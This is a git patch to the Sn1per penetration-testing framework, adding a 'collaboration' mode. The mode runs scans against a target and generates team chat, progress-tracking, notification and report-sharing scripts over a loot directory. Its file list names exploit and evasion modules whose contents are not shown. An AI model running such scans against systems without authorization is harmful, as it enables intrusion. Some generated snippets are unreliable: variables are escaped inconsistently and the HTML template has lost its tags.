From 9e36592dcb2254beb631a9b86d9228b02b270bab Mon Sep 17 00:00:00 2001 From: gitworkflows Date: Tue, 23 Sep 2025 00:10:03 +0600 Subject: [PATCH 1/5] Add ML analysis mode, collaboration features, and comprehensive wordlists; update existing modes for improved functionality --- modes/airstrike.sh | 0 modes/bruteforce.sh | 0 modes/collaboration.sh | 866 +++++++ modes/deep-recon.sh | 379 +++ modes/discover.sh | 0 modes/evasion-techniques.sh | 399 ++++ modes/exploit-framework.sh | 410 ++++ modes/flyover.sh | 0 modes/fullportonly.sh | 0 modes/fullportscan.sh | 0 modes/javascript-analysis.sh | 0 modes/massportscan.sh | 0 modes/massvulnscan.sh | 0 modes/massweb.sh | 0 modes/masswebscan.sh | 0 modes/ml-analysis.sh | 357 +++ modes/normal.sh | 0 modes/normal_webporthttp.sh | 0 modes/normal_webporthttps.sh | 0 modes/nuke.sh | 0 modes/osint.sh | 0 modes/osint_stage_2.sh | 0 modes/recon.sh | 0 modes/remediation.sh | 799 +++++++ modes/sc0pe-active-webscan.sh | 0 modes/sc0pe-network-scan.sh | 0 modes/sc0pe-passive-webscan.sh | 0 modes/sc0pe.sh | 0 modes/static-grep-search.sh | 0 modes/stealth.sh | 0 modes/vuln-analysis.sh | 308 +++ modes/vulnscan.sh | 0 modes/web.sh | 0 modes/web_autopwn.sh | 0 modes/webporthttp.sh | 0 modes/webporthttps.sh | 0 modes/webscan.sh | 0 sniper | 12 +- sniper.conf | 22 +- wordlists/admin-panels.txt | 290 +++ wordlists/api-endpoints.txt | 76 + wordlists/backup-files.txt | 248 ++ wordlists/cloud-storage.txt | 207 ++ wordlists/exposed-files.txt | 1330 +++++++++++ wordlists/sql-injection-params.txt | 1146 +++++++++ wordlists/subdomain-common.txt | 3502 ++++++++++++++++++++++++++++ wordlists/subdomain-essential.txt | 52 + wordlists/subdomain-quick.txt | 56 + 48 files changed, 10452 insertions(+), 7 deletions(-) mode change 100644 => 100755 modes/airstrike.sh mode change 100644 => 100755 modes/bruteforce.sh create mode 100644 modes/collaboration.sh create mode 100644 modes/deep-recon.sh mode change 100644 => 100755 modes/discover.sh create mode 100644 modes/evasion-techniques.sh create mode 100644 modes/exploit-framework.sh mode change 100644 => 100755 modes/flyover.sh mode change 100644 => 100755 modes/fullportonly.sh mode change 100644 => 100755 modes/fullportscan.sh mode change 100644 => 100755 modes/javascript-analysis.sh mode change 100644 => 100755 modes/massportscan.sh mode change 100644 => 100755 modes/massvulnscan.sh mode change 100644 => 100755 modes/massweb.sh mode change 100644 => 100755 modes/masswebscan.sh create mode 100644 modes/ml-analysis.sh mode change 100644 => 100755 modes/normal.sh mode change 100644 => 100755 modes/normal_webporthttp.sh mode change 100644 => 100755 modes/normal_webporthttps.sh mode change 100644 => 100755 modes/nuke.sh mode change 100644 => 100755 modes/osint.sh mode change 100644 => 100755 modes/osint_stage_2.sh mode change 100644 => 100755 modes/recon.sh create mode 100755 modes/remediation.sh mode change 100644 => 100755 modes/sc0pe-active-webscan.sh mode change 100644 => 100755 modes/sc0pe-network-scan.sh mode change 100644 => 100755 modes/sc0pe-passive-webscan.sh mode change 100644 => 100755 modes/sc0pe.sh mode change 100644 => 100755 modes/static-grep-search.sh mode change 100644 => 100755 modes/stealth.sh create mode 100644 modes/vuln-analysis.sh mode change 100644 => 100755 modes/vulnscan.sh mode change 100644 => 100755 modes/web.sh mode change 100644 => 100755 modes/web_autopwn.sh mode change 100644 => 100755 modes/webporthttp.sh mode change 100644 => 100755 modes/webporthttps.sh mode change 100644 => 100755 modes/webscan.sh create mode 100644 wordlists/admin-panels.txt create mode 100644 wordlists/api-endpoints.txt create mode 100644 wordlists/backup-files.txt create mode 100644 wordlists/cloud-storage.txt create mode 100644 wordlists/exposed-files.txt create mode 100644 wordlists/sql-injection-params.txt create mode 100644 wordlists/subdomain-common.txt create mode 100644 wordlists/subdomain-essential.txt create mode 100644 wordlists/subdomain-quick.txt diff --git a/modes/airstrike.sh b/modes/airstrike.sh old mode 100644 new mode 100755 diff --git a/modes/bruteforce.sh b/modes/bruteforce.sh old mode 100644 new mode 100755 diff --git a/modes/collaboration.sh b/modes/collaboration.sh new file mode 100644 index 00000000..f41c4633 --- /dev/null +++ b/modes/collaboration.sh @@ -0,0 +1,866 @@ +#!/bin/bash +# REAL-TIME COLLABORATION FEATURES MODULE ##################################################################################################### +# Advanced real-time collaboration, team coordination, and communication features for Sn1per + +if [[ "$REPORT" = "1" ]]; then + args="-t $TARGET" + if [[ "$OSINT" = "1" ]]; then + args="$args -o" + fi + if [[ "$AUTO_BRUTE" = "1" ]]; then + args="$args -b" + fi + if [[ "$FULLNMAPSCAN" = "1" ]]; then + args="$args -fp" + fi + if [[ "$RECON" = "1" ]]; then + args="$args -re" + fi + if [[ "$MODE" = "collab" ]]; then + args="$args -m collab" + fi + if [[ ! -z "$PORT" ]]; then + args="$args -p $PORT" + fi + if [[ ! -z "$WORKSPACE" ]]; then + args="$args -w $WORKSPACE" + fi + args="$args --noreport" + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +"%Y%m%d%H%M"`.txt 2>&1 + exit +fi + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[https://sn1persecurity.com" +echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz" +echo -e "$OKORANGE + -- --=[Real-Time Collaboration Mode - Team Coordination & Communication" +echo -e "$RESET" + +if [[ ! -z $WORKSPACE ]]; then + LOOT_DIR=$WORKSPACE_DIR +fi + +echo "$TARGET" >> $LOOT_DIR/domains/targets.txt +if [[ "$MODE" = "" ]]; then + MODE="collaboration" + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2>/dev/null +else + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2>/dev/null +fi +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/${TARGET}-${MODE}.txt 2>/dev/null +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2>/dev/null +ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + +echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per collaboration mode: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per collaboration mode: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" +fi + +# Initialize collaboration directories +mkdir -p $LOOT_DIR/collaboration/{team-chat,shared-workspace,progress-tracking,notification-center,report-sharing} 2>/dev/null + +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED INITIALIZING REAL-TIME COLLABORATION $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# 1. TEAM CHAT SYSTEM +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED TEAM CHAT SYSTEM $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Setting up team chat system..." + +# Create team chat script +cat > $LOOT_DIR/collaboration/team-chat/chat-server.sh << EOF +#!/bin/bash +# Sn1per Team Chat Server + +CHAT_LOG="$LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log" +CHAT_USERS="$LOOT_DIR/collaboration/team-chat/active-users.txt" + +echo "[*] Sn1per Team Chat Server Started" > "$CHAT_LOG" +echo "[*] Target: $TARGET" >> "$CHAT_LOG" +echo "[*] Time: $(date)" >> "$CHAT_LOG" + +# Function to add message to chat +add_message() { + echo "[$TARGET] [\$(whoami)] [\$(date '+%Y-%m-%d %H:%M:%S')] \$1" >> "$CHAT_LOG" + echo "[CHAT] \$1" +} + +# Function to show recent messages +show_recent() { + echo "=== Recent Chat Messages ===" + tail -20 "$CHAT_LOG" 2>/dev/null + echo "===========================" +} + +# Function to add user to active users +add_user() { + echo "\$(whoami) - \$(date '+%Y-%m-%d %H:%M:%S')" >> "$CHAT_USERS" +} + +# Add current user +add_user + +echo "[*] Type 'help' for available commands" +echo "[*] Type 'quit' to exit chat" + +while true; do + read -p "[$TARGET:\$(whoami)] " message + + case \$message in + "quit"|"exit") + echo "[*] Leaving chat..." + break + ;; + "help") + echo "Available commands:" + echo " help - Show this help" + echo " users - Show active users" + echo " recent - Show recent messages" + echo " clear - Clear screen" + echo " status - Show scan status" + echo " findings - Show latest findings" + echo " quit - Exit chat" + ;; + "users") + echo "=== Active Users ===" + cat "$CHAT_USERS" 2>/dev/null + echo "===================" + ;; + "recent") + show_recent + ;; + "clear") + clear + ;; + "status") + echo "=== Scan Status ===" + ls -la $LOOT_DIR/scans/running_*.txt 2>/dev/null | wc -l + echo "running scans" + echo "==================" + ;; + "findings") + echo "=== Latest Findings ===" + find $LOOT_DIR -name "*.txt" -newermt "1 hour ago" 2>/dev/null | head -5 + echo "=======================" + ;; + "") + # Empty message, do nothing + ;; + *) + add_message "\$message" + ;; + esac +done +EOF +chmod +x $LOOT_DIR/collaboration/team-chat/chat-server.sh + +# 2. SHARED WORKSPACE SYSTEM +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED SHARED WORKSPACE SYSTEM $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Setting up shared workspace..." + +# Create workspace sharing script +cat > $LOOT_DIR/collaboration/shared-workspace/workspace-share.sh << EOF +#!/bin/bash +# Sn1per Workspace Sharing System + +WORKSPACE_DIR="$LOOT_DIR" +TARGET="$TARGET" + +echo "[*] Sn1per Workspace Sharing System" +echo "[*] Workspace: $WORKSPACE_DIR" +echo "[*] Target: $TARGET" + +# Function to share files with team +share_files() { + echo "[*] Sharing files with team members..." + + # Create shared directory + SHARED_DIR="$WORKSPACE_DIR/shared" + mkdir -p "$SHARED_DIR" + + # Copy important findings to shared directory + cp $WORKSPACE_DIR/vuln-analysis/vulnerability-report-$TARGET.txt "$SHARED_DIR/" 2>/dev/null + cp $WORKSPACE_DIR/ml-analysis/ai-analysis-report-$TARGET.txt "$SHARED_DIR/" 2>/dev/null + cp $WORKSPACE_DIR/exploit-framework/exploit-report-$TARGET.txt "$SHARED_DIR/" 2>/dev/null + + echo "[+] Files shared to: $SHARED_DIR" + ls -la "$SHARED_DIR" +} + +# Function to sync with team +sync_with_team() { + echo "[*] Syncing with team workspace..." + + # Check for team updates + if [[ -f "$WORKSPACE_DIR/team-updates.txt" ]]; then + echo "=== Team Updates ===" + cat "$WORKSPACE_DIR/team-updates.txt" + echo "===================" + fi +} + +# Function to create team report +create_team_report() { + echo "[*] Creating team report..." + + REPORT_FILE="$WORKSPACE_DIR/collaboration/team-report-$TARGET.md" + + cat > "$REPORT_FILE" << REPORT_EOF +# Sn1per Team Report - $TARGET +## Generated: $(date) +## Team Members: $(whoami) + +### Executive Summary +- Target: $TARGET +- Scan Status: $(ls $WORKSPACE_DIR/scans/running_*.txt 2>/dev/null | wc -l) scans running +- Total Findings: $(find $WORKSPACE_DIR -name "*.txt" | wc -l) files generated + +### Recent Activities +$(tail -10 $WORKSPACE_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null) + +### Critical Findings +$(grep -r "CRITICAL\|HIGH" $WORKSPACE_DIR/vuln-analysis/ 2>/dev/null | head -5) + +### Recommendations +1. Review all critical findings +2. Coordinate remediation efforts +3. Schedule follow-up scans + +### Team Notes +$(cat $WORKSPACE_DIR/collaboration/team-notes.txt 2>/dev/null) + +--- +*Generated by Sn1per Collaboration System* +REPORT_EOF + + echo "[+] Team report created: $REPORT_FILE" +} + +# Main menu +while true; do + echo "" + echo "=== Workspace Sharing Menu ===" + echo "1. Share files with team" + echo "2. Sync with team" + echo "3. Create team report" + echo "4. Show shared files" + echo "5. Exit" + echo "" + + read -p "Choose option: " choice + + case \$choice in + 1) + share_files + ;; + 2) + sync_with_team + ;; + 3) + create_team_report + ;; + 4) + echo "=== Shared Files ===" + ls -la "$WORKSPACE_DIR/shared/" 2>/dev/null + echo "===================" + ;; + 5) + echo "[*] Exiting workspace sharing..." + break + ;; + *) + echo "[-] Invalid option" + ;; + esac +done +EOF +chmod +x $LOOT_DIR/collaboration/shared-workspace/workspace-share.sh + +# 3. PROGRESS TRACKING SYSTEM +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED PROGRESS TRACKING SYSTEM $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Setting up progress tracking..." + +# Create progress tracking script +cat > $LOOT_DIR/collaboration/progress-tracking/progress-tracker.sh << EOF +#!/bin/bash +# Sn1per Progress Tracking System + +TARGET="$TARGET" +PROGRESS_FILE="$LOOT_DIR/collaboration/progress-tracking/scan-progress.json" + +# Initialize progress file +if [[ ! -f "$PROGRESS_FILE" ]]; then + cat > "$PROGRESS_FILE" << JSON_EOF +{ + "target": "$TARGET", + "start_time": "$(date -Iseconds)", + "status": "in_progress", + "modules": { + "recon": {"status": "pending", "progress": 0, "eta": "unknown"}, + "vuln_analysis": {"status": "pending", "progress": 0, "eta": "unknown"}, + "ml_analysis": {"status": "pending", "progress": 0, "eta": "unknown"}, + "exploit_framework": {"status": "pending", "progress": 0, "eta": "unknown"}, + "evasion_techniques": {"status": "pending", "progress": 0, "eta": "unknown"} + }, + "overall_progress": 0, + "estimated_completion": "unknown", + "team_members": ["$(whoami)"], + "active_tasks": [] +} +JSON_EOF +fi + +# Function to update progress +update_progress() { + module=\$1 + progress=\$2 + status=\$3 + + # Update JSON file + sed -i "s/\"$module\": {\"status\": \".*\", \"progress\": [0-9]*, \"eta\": \".*\"}/\"$module\": {\"status\": \"$status\", \"progress\": $progress, \"eta\": \"calculating\"}/g" "$PROGRESS_FILE" + + # Calculate overall progress + total_modules=5 + completed_modules=\$(grep -o "\"status\": \"completed\"" "$PROGRESS_FILE" | wc -l) + overall_progress=\$((completed_modules * 100 / total_modules)) + + # Update overall progress + sed -i "s/\"overall_progress\": [0-9]*/\"overall_progress\": $overall_progress/g" "$PROGRESS_FILE" + + echo "[+] Progress updated: $module - $progress% ($status)" +} + +# Function to show progress +show_progress() { + echo "=== Scan Progress for $TARGET ===" + + if [[ -f "$PROGRESS_FILE" ]]; then + echo "Overall Progress: \$(grep -o '"overall_progress": [0-9]*' "$PROGRESS_FILE" | cut -d: -f2)%" + echo "" + echo "Module Status:" + grep -A 1 -B 1 "module" "$PROGRESS_FILE" | grep -E "(module|status|progress)" | sed 's/.*"module": "\([^"]*\)".*/\1:/;s/.*"status": "\([^"]*\)".*/ Status: \1/;s/.*"progress": \([0-9]*\).*/ Progress: \1%/' + fi + + echo "" + echo "Running Tasks:" + ls $LOOT_DIR/scans/running_*.txt 2>/dev/null | wc -l + echo "tasks running" + + echo "" + echo "Recent Activities:" + tail -5 $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null +} + +# Function to estimate completion time +estimate_completion() { + echo "[*] Estimating completion time..." + + running_tasks=\$(ls $LOOT_DIR/scans/running_*.txt 2>/dev/null | wc -l) + + if [[ \$running_tasks -gt 0 ]]; then + # Simple estimation based on running tasks + avg_time_per_task=30 # minutes + estimated_minutes=\$((running_tasks * avg_time_per_task)) + estimated_time=\$(date -d "+\$estimated_minutes minutes" '+%Y-%m-%d %H:%M') + + sed -i "s/\"estimated_completion\": \".*\"/\"estimated_completion\": \"$estimated_time\"/g" "$PROGRESS_FILE" + echo "[+] Estimated completion: \$estimated_time" + else + echo "[-] No running tasks to estimate" + fi +} + +# Main progress tracking loop +while true; do + echo "" + echo "=== Progress Tracking Menu ===" + echo "1. Show current progress" + echo "2. Update module progress" + echo "3. Estimate completion time" + echo "4. Mark module complete" + echo "5. Refresh status" + echo "6. Exit" + echo "" + + read -p "Choose option: " choice + + case \$choice in + 1) + show_progress + ;; + 2) + echo "Available modules: recon, vuln_analysis, ml_analysis, exploit_framework, evasion_techniques" + read -p "Module name: " module + read -p "Progress (0-100): " progress + read -p "Status (pending/in_progress/completed): " status + update_progress "\$module" "\$progress" "\$status" + ;; + 3) + estimate_completion + ;; + 4) + read -p "Module to mark complete: " module + update_progress "\$module" "100" "completed" + ;; + 5) + echo "[*] Refreshing status..." + show_progress + ;; + 6) + echo "[*] Exiting progress tracker..." + break + ;; + *) + echo "[-] Invalid option" + ;; + esac +done +EOF +chmod +x $LOOT_DIR/collaboration/progress-tracking/progress-tracker.sh + +# 4. NOTIFICATION CENTER +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED NOTIFICATION CENTER $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Setting up notification center..." + +# Create notification system +cat > $LOOT_DIR/collaboration/notification-center/notification-system.sh << EOF +#!/bin/bash +# Sn1per Notification Center + +TARGET="$TARGET" +NOTIFICATION_LOG="$LOOT_DIR/collaboration/notification-center/notifications.log" + +# Function to send notification +send_notification() { + priority=\$1 + message=\$2 + + echo "[\$(date '+%Y-%m-%d %H:%M:%S')] [\$priority] \$message" >> "$NOTIFICATION_LOG" + + # Send to Slack if configured + if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[\$priority] \$message" + fi + + # Display notification + case \$priority in + "CRITICAL") + echo -e "$OKRED[CRITICAL] \$message$RESET" + ;; + "HIGH") + echo -e "$OKORANGE[HIGH] \$message$RESET" + ;; + "MEDIUM") + echo -e "$OKYELLOW[MEDIUM] \$message$RESET" + ;; + "LOW") + echo -e "$OKBLUE[LOW] \$message$RESET" + ;; + "INFO") + echo -e "$OKGREEN[INFO] \$message$RESET" + ;; + esac +} + +# Function to show notifications +show_notifications() { + echo "=== Recent Notifications ===" + tail -20 "$NOTIFICATION_LOG" 2>/dev/null + echo "===========================" +} + +# Function to filter notifications +filter_notifications() { + priority=\$1 + echo "=== \$priority Priority Notifications ===" + grep "\[$priority\]" "$NOTIFICATION_LOG" 2>/dev/null | tail -10 + echo "====================================" +} + +# Function to send critical finding notification +notify_critical_finding() { + finding=\$1 + send_notification "CRITICAL" "Critical finding detected: \$finding" +} + +# Function to send progress update +notify_progress_update() { + module=\$1 + progress=\$2 + send_notification "INFO" "Progress update: \$module - \$progress% complete" +} + +# Function to send scan completion +notify_scan_complete() { + scan_type=\$1 + send_notification "HIGH" "Scan completed: \$scan_type for $TARGET" +} + +# Main notification menu +while true; do + echo "" + echo "=== Notification Center ===" + echo "1. Show all notifications" + echo "2. Show critical notifications" + echo "3. Show high priority notifications" + echo "4. Show medium priority notifications" + echo "5. Send test notification" + echo "6. Clear notifications" + echo "7. Exit" + echo "" + + read -p "Choose option: " choice + + case \$choice in + 1) + show_notifications + ;; + 2) + filter_notifications "CRITICAL" + ;; + 3) + filter_notifications "HIGH" + ;; + 4) + filter_notifications "MEDIUM" + ;; + 5) + read -p "Priority (CRITICAL/HIGH/MEDIUM/LOW/INFO): " priority + read -p "Message: " message + send_notification "\$priority" "\$message" + ;; + 6) + echo "[*] Clearing notifications..." + > "$NOTIFICATION_LOG" + ;; + 7) + echo "[*] Exiting notification center..." + break + ;; + *) + echo "[-] Invalid option" + ;; + esac +done +EOF +chmod +x $LOOT_DIR/collaboration/notification-center/notification-system.sh + +# 5. REPORT SHARING SYSTEM +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED REPORT SHARING SYSTEM $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Setting up report sharing..." + +# Create report sharing script +cat > $LOOT_DIR/collaboration/report-sharing/report-share.sh << EOF +#!/bin/bash +# Sn1per Report Sharing System + +TARGET="$TARGET" +SHARED_DIR="$LOOT_DIR/shared" + +# Function to generate comprehensive report +generate_comprehensive_report() { + echo "[*] Generating comprehensive team report..." + + REPORT_FILE="$SHARED_DIR/comprehensive-report-$TARGET.html" + + cat > "$REPORT_FILE" << HTML_EOF + + + + Sn1per Team Report - $TARGET + + + +
+

Sn1per Team Report - $TARGET

+

Generated: $(date)

+

Team Members: $(whoami)

+
+ +
+

Executive Summary

+

Target: $TARGET

+

Scan Status: $(ls $LOOT_DIR/scans/running_*.txt 2>/dev/null | wc -l) scans running

+

Total Findings: $(find $LOOT_DIR -name "*.txt" | wc -l) files generated

+
+ +
+

Critical Findings

+ $(grep -r "CRITICAL\|HIGH" $LOOT_DIR/vuln-analysis/ 2>/dev/null | head -10 | sed 's/.*/

&<\/p>/') +

+ +
+

AI Analysis Results

+ $(grep -A 5 "Threat Score:" $LOOT_DIR/ml-analysis/ai-analysis-report-$TARGET.txt 2>/dev/null | head -10 | sed 's/.*/

&<\/p>/') +

+ +
+

Collaboration Notes

+ $(tail -10 $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null | sed 's/.*/

&<\/p>/') +

+ +
+

Recommendations

+
    +
  1. Review all critical findings immediately
  2. +
  3. Coordinate remediation efforts with team
  4. +
  5. Schedule follow-up scans as needed
  6. +
  7. Document all findings for compliance
  8. +
+
+ + +HTML_EOF + + echo "[+] Comprehensive report generated: $REPORT_FILE" +} + +# Function to share report via various methods +share_report() { + echo "[*] Sharing report..." + + # Generate report first + generate_comprehensive_report + + echo "Share options:" + echo "1. Copy to shared directory" + echo "2. Export to PDF (if wkhtmltopdf available)" + echo "3. Send via email (if configured)" + echo "4. Upload to collaboration platform" + + read -p "Choose sharing method: " method + + case \$method in + 1) + echo "[+] Report available in: $SHARED_DIR" + ;; + 2) + if command -v wkhtmltopdf &> /dev/null; then + wkhtmltopdf "$SHARED_DIR/comprehensive-report-$TARGET.html" "$SHARED_DIR/comprehensive-report-$TARGET.pdf" + echo "[+] PDF report generated: $SHARED_DIR/comprehensive-report-$TARGET.pdf" + else + echo "[-] wkhtmltopdf not available" + fi + ;; + 3) + echo "[*] Email sharing not configured in this demo" + ;; + 4) + echo "[*] Platform upload not configured in this demo" + ;; + *) + echo "[-] Invalid option" + ;; + esac +} + +# Function to create summary report +create_summary() { + echo "[*] Creating summary report..." + + SUMMARY_FILE="$SHARED_DIR/summary-$TARGET.txt" + + cat > "$SUMMARY_FILE" << SUMMARY_EOF +SN1PER TEAM SUMMARY REPORT - $TARGET +===================================== +Generated: $(date) +Team: $(whoami) + +KEY FINDINGS: +$(grep -r "CRITICAL\|HIGH" $LOOT_DIR/ 2>/dev/null | head -5) + +AI THREAT SCORE: +$(grep "Threat Score:" $LOOT_DIR/ml-analysis/ai-analysis-report-$TARGET.txt 2>/dev/null) + +ACTIVE COLLABORATION: +$(tail -3 $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null) + +NEXT STEPS: +1. Review critical findings +2. Coordinate remediation +3. Plan follow-up actions + +SHARED FILES: +$(ls $SHARED_DIR/ | tr '\n' ' ') + +--- +Quick access to reports: +- Full report: $SHARED_DIR/comprehensive-report-$TARGET.html +- Vulnerability report: $SHARED_DIR/vulnerability-report-$TARGET.txt +- AI analysis: $SHARED_DIR/ai-analysis-report-$TARGET.txt +SUMMARY_EOF + + echo "[+] Summary created: $SUMMARY_FILE" +} + +# Main report sharing menu +while true; do + echo "" + echo "=== Report Sharing Center ===" + echo "1. Generate comprehensive report" + echo "2. Share report" + echo "3. Create summary report" + echo "4. Show shared files" + echo "5. Exit" + echo "" + + read -p "Choose option: " choice + + case \$choice in + 1) + generate_comprehensive_report + ;; + 2) + share_report + ;; + 3) + create_summary + ;; + 4) + echo "=== Shared Files ===" + ls -la "$SHARED_DIR/" 2>/dev/null + echo "===================" + ;; + 5) + echo "[*] Exiting report sharing..." + break + ;; + *) + echo "[-] Invalid option" + ;; + esac +done +EOF +chmod +x $LOOT_DIR/collaboration/report-sharing/report-share.sh + +# 6. GENERATE COLLABORATION REPORT +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED GENERATING COLLABORATION REPORT $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Compile comprehensive collaboration report +cat > $LOOT_DIR/collaboration/collaboration-report-$TARGET.txt << EOF +SNIPER SECURITY - REAL-TIME COLLABORATION REPORT +================================================= +Target: $TARGET +Scan Date: $(date) +Framework: Sn1per v$VER - Real-Time Collaboration Mode + +EXECUTIVE SUMMARY +================= +Collaboration System Status: ACTIVE +Team Chat System: $(if [[ -f "$LOOT_DIR/collaboration/team-chat/chat-server.sh" ]]; then echo "ENABLED"; else echo "DISABLED"; fi) +Shared Workspace: $(if [[ -f "$LOOT_DIR/collaboration/shared-workspace/workspace-share.sh" ]]; then echo "ENABLED"; else echo "DISABLED"; fi) +Progress Tracking: $(if [[ -f "$LOOT_DIR/collaboration/progress-tracking/progress-tracker.sh" ]]; then echo "ENABLED"; else echo "DISABLED"; fi) +Notification Center: $(if [[ -f "$LOOT_DIR/collaboration/notification-center/notification-system.sh" ]]; then echo "ENABLED"; else echo "DISABLED"; fi) +Report Sharing: $(if [[ -f "$LOOT_DIR/collaboration/report-sharing/report-share.sh" ]]; then echo "ENABLED"; else echo "DISABLED"; fi) + +TEAM CHAT SYSTEM +================ +Chat History File: $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log +Active Users: $(wc -l $LOOT_DIR/collaboration/team-chat/active-users.txt 2>/dev/null || echo "0") +Chat Messages: $(wc -l $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null || echo "0") + +SHARED WORKSPACE +================ +Shared Directory: $LOOT_DIR/shared/ +Shared Files: $(ls $LOOT_DIR/shared/ 2>/dev/null | wc -l) +Key Shared Reports: +$(ls $LOOT_DIR/shared/ | head -10 | sed 's/^/- /') + +PROGRESS TRACKING +================= +Progress File: $LOOT_DIR/collaboration/progress-tracking/scan-progress.json +Current Progress: $(grep "overall_progress" $LOOT_DIR/collaboration/progress-tracking/scan-progress.json 2>/dev/null | cut -d: -f2 | tr -d '"}') +Estimated Completion: $(grep "estimated_completion" $LOOT_DIR/collaboration/progress-tracking/scan-progress.json 2>/dev/null | cut -d'"' -f4) + +NOTIFICATION CENTER +================== +Notification Log: $LOOT_DIR/collaboration/notification-center/notifications.log +Total Notifications: $(wc -l $LOOT_DIR/collaboration/notification-center/notifications.log 2>/dev/null || echo "0") +Recent Notifications: +$(tail -5 $LOOT_DIR/collaboration/notification-center/notifications.log 2>/dev/null) + +REPORT SHARING +============== +Comprehensive Report: $LOOT_DIR/shared/comprehensive-report-$TARGET.html +Summary Report: $LOOT_DIR/shared/summary-$TARGET.txt +Available Reports: $(ls $LOOT_DIR/shared/ | wc -l) files + +COLLABORATION FEATURES +====================== +1. Real-time team chat with command interface +2. Shared workspace for file collaboration +3. Progress tracking with JSON-based status +4. Notification center with priority levels +5. Report sharing with HTML/PDF export +6. Slack integration for notifications +7. Team member activity tracking +8. Comprehensive collaboration logging + +USAGE INSTRUCTIONS +================== +1. Team Chat: Run $LOOT_DIR/collaboration/team-chat/chat-server.sh +2. Workspace Sharing: Run $LOOT_DIR/collaboration/shared-workspace/workspace-share.sh +3. Progress Tracking: Run $LOOT_DIR/collaboration/progress-tracking/progress-tracker.sh +4. Notifications: Run $LOOT_DIR/collaboration/notification-center/notification-system.sh +5. Report Sharing: Run $LOOT_DIR/collaboration/report-sharing/report-share.sh + +RECOMMENDATIONS +============== +1. Use team chat for real-time coordination +2. Share important findings via shared workspace +3. Track progress using the progress tracker +4. Set up notifications for critical findings +5. Generate and share reports regularly +6. Use Slack integration for remote teams +7. Document all team activities and decisions + +COLLABORATION METRICS +===================== +- Active Collaboration Tools: $(ls $LOOT_DIR/collaboration/ | wc -l) systems +- Team Communication: $(wc -l $LOOT_DIR/collaboration/team-chat/chat-history-$TARGET.log 2>/dev/null || echo "0") messages +- Shared Resources: $(ls $LOOT_DIR/shared/ 2>/dev/null | wc -l) files +- Progress Updates: $(grep -c "Progress update" $LOOT_DIR/collaboration/notification-center/notifications.log 2>/dev/null || echo "0") updates + +Generated by Sn1per Collaboration Framework 